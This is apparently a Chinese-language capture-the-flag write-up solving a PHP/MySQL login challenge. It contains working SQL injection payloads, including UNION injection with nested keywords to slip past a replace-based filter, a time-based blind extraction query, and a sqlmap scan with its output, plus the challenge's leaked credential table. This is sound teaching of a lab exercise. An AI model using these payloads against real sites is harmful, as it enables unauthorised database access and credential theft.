# 12003-Isostagram *(2 flags)* > http://ctf.adl.tw:12003/ ## Briefing ISOSTAGRAM ![](https://i.imgur.com/aSmBkxb.png) ## Flag 1 按 F12 告訴我們 sauce code 在 `/?source` (我盲解了好幾天才發現 :sob:) ![](https://i.imgur.com/sTMR5GM.png) 看起來我們就是要在 `$sql` 捏出 sqli 的東西 ```php! "SELECT * FROM users WHERE `username` = '$username' AND `password` = '$password';"; ``` 稍微理解一下題目的特點 - 後端 DB 用 mysql - 有用 `str_ireplace` 把 `"union", "select", "where", "and", "or"` 刪掉 (不分大小寫) - 因為使用 `mysqli_query` 去接 sql,因此不能把很多 query 接在一起 - 用 query 拿到東西以後還會用程式再檢查一次帳號(要是`kita0421`)、密碼(query 出來的結果) ### Exploit - 有用 `str_ireplace` 把 `"union", "select", "where", "and", "or"` 刪掉 (不分大小寫) - > 我有玩神魔我知道怎麼疊珠;e.g. UNI==UNION==ON -> UNION - 因為使用 `mysqli_query` 去接 sql,因此不能把很多 query 接在一起 - 用 query 拿到東西以後還會用程式再檢查一次帳號(要是'kita0421')、密碼(query 出來的結果) - > 想辦法在一個 query 裡面捏個`kita0421`的假帳號:我們有 `UNION`! - > `UNION ALL SELECT 'kita0421', 'a'` 先在 [mysql playground](https://paiza.io/projects/JH24P0iWM4GG47UiZOUkdg) 按照題目格式模擬練習一下 ![](https://i.imgur.com/TJtBKbV.png) 成功!,目前實際運行的 payload 長這樣 ```sql! ' UNION SELECT 'kita0421', 'a'-- ``` 要記得疊珠,所以輸進網站的 payload 是 ```sql! ' UNIUNIONON SELSELECTECT 'kita0421', 'a'-- ``` 直接 key 到網站,密碼記得打 `a`,诶? ![](https://i.imgur.com/ZlLDTqm.png) 判斷可能是 TABLE 格式長的不一樣,例如我們模擬的時候只用兩個 column 、以 `username` 為 primary key,有可能遠端多了別的欄位,我們試著加 NULL 在各個地方,例如 ```sql ' UNIUNIONON SELSELECTECT NULL, 'kita0421', 'a'-- ' UNIUNIONON SELSELECTECT 'kita0421', NULL, 'a'-- ' UNIUNIONON SELSELECTECT 'kita0421', 'a', NULL-- ``` 運氣真好,第一次就猜中!推測第一個欄位是它的 id ![](https://i.imgur.com/3hWoETd.png) > flag: `ADL{1nd04j1n74ch1m3!!!https://youtu.be/q-bCp4MxuYU}` --- ## Flag 2 上一個 flag 是利用塞假帳號騙過系統來讓我們登入,相信另外一個 flag 就是要我們撈出資料庫,找到真正的密碼。 因為網頁不論密碼對或錯、帳號存在不存在都是報同樣的錯誤訊息,因此我們只能利用盲注判斷。 捏 payload ,底下是一個範例: ```sql! ' OR IF((BINARY SUBSTRING((SELECT `password` from users LIMIT 1 OFFSET 487),63,1)='a'),SLEEP(1),0) -- ``` *解釋:* 最前面的 `' OR` 把前面 SELECT 包起來再加 OR、然後從資料庫撈出第 $487+1$ 個 `password` 的第 $63$ 個字元,判斷是否為 `a` (有加 BINARY 表示區分大小寫),如果是的話會 `SLEEP(1)` 卡住一下下 以此類推,我們可以藉此時間差,透過程式暴力撈出每個 `username`, `password` 的每個字元。 要記得這題有疊珠需求!尤其是 `password` 要疊成 `passwoorrd`!! #### Database Leaked ```json {'username': 'x55662306', 'password': 'best_of_ADL'} {'username': 'gordon', 'password': 'king_of_ADL'} {'username': 'JyunD', 'password': 'best_of_ncu'} {'username': 'kita0421', 'password': 'ADL{w474sh1n0furun3muh4!174k174d3su...https://youtu.be/MSnLgdQFk1c}'} {'username': 'ssrtw', 'password': 'carry_dam_of_ADL'} {'username': 'evan', 'password': 'algorithm_master_of_ADL'} {'username': 'yoyo', 'password': 'breathe_bro_of_ADL'} ``` > flag: `ADL{w474sh1n0furun3muh4k174k174d3su...https://youtu.be/MSnLgdQFk1c}` --- :::info :::spoiler 廢案 / sqlmap ## Extra 一般網站可以用 [sqlmap](https://github.com/sqlmapproject/sqlmap) 下指令 (但這題要疊珠沒辦法) ``` python sqlmap.py -u http://ctf.adl.tw:12003/ --form --level 5 --risk 3 --flush-session ``` 硬掃還是掃出了 ``` sqlmap identified the following injection point(s) with a total of 4342 HTTP(s) requests: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 RLIKE time-based blind Payload: username=Iqye' RLIKE SLEEP(5)-- KPHt&password=&submit=UvKc --- web server operating system: Linux Debian web application technology: Apache 2.4.54, PHP 7.4.33 back-end DBMS: MySQL >= 5.0.12 ``` <!-- ![](https://i.imgur.com/mOk6QpT.png) --> --- `' RLIKE '*'; -- ` ![](https://i.imgur.com/9Mhiksh.png) ::: --- ###### Ref sqli cheatsheet - https://www.interviewbit.com/sql-injection-cheat-sheet/#hints-for-using-unions - https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/#AboutMySQLandPHP sqlmap notes https://systw.net/note/af/sblog/more.php?id=356 ![](https://i.imgur.com/7t67kxu.jpg)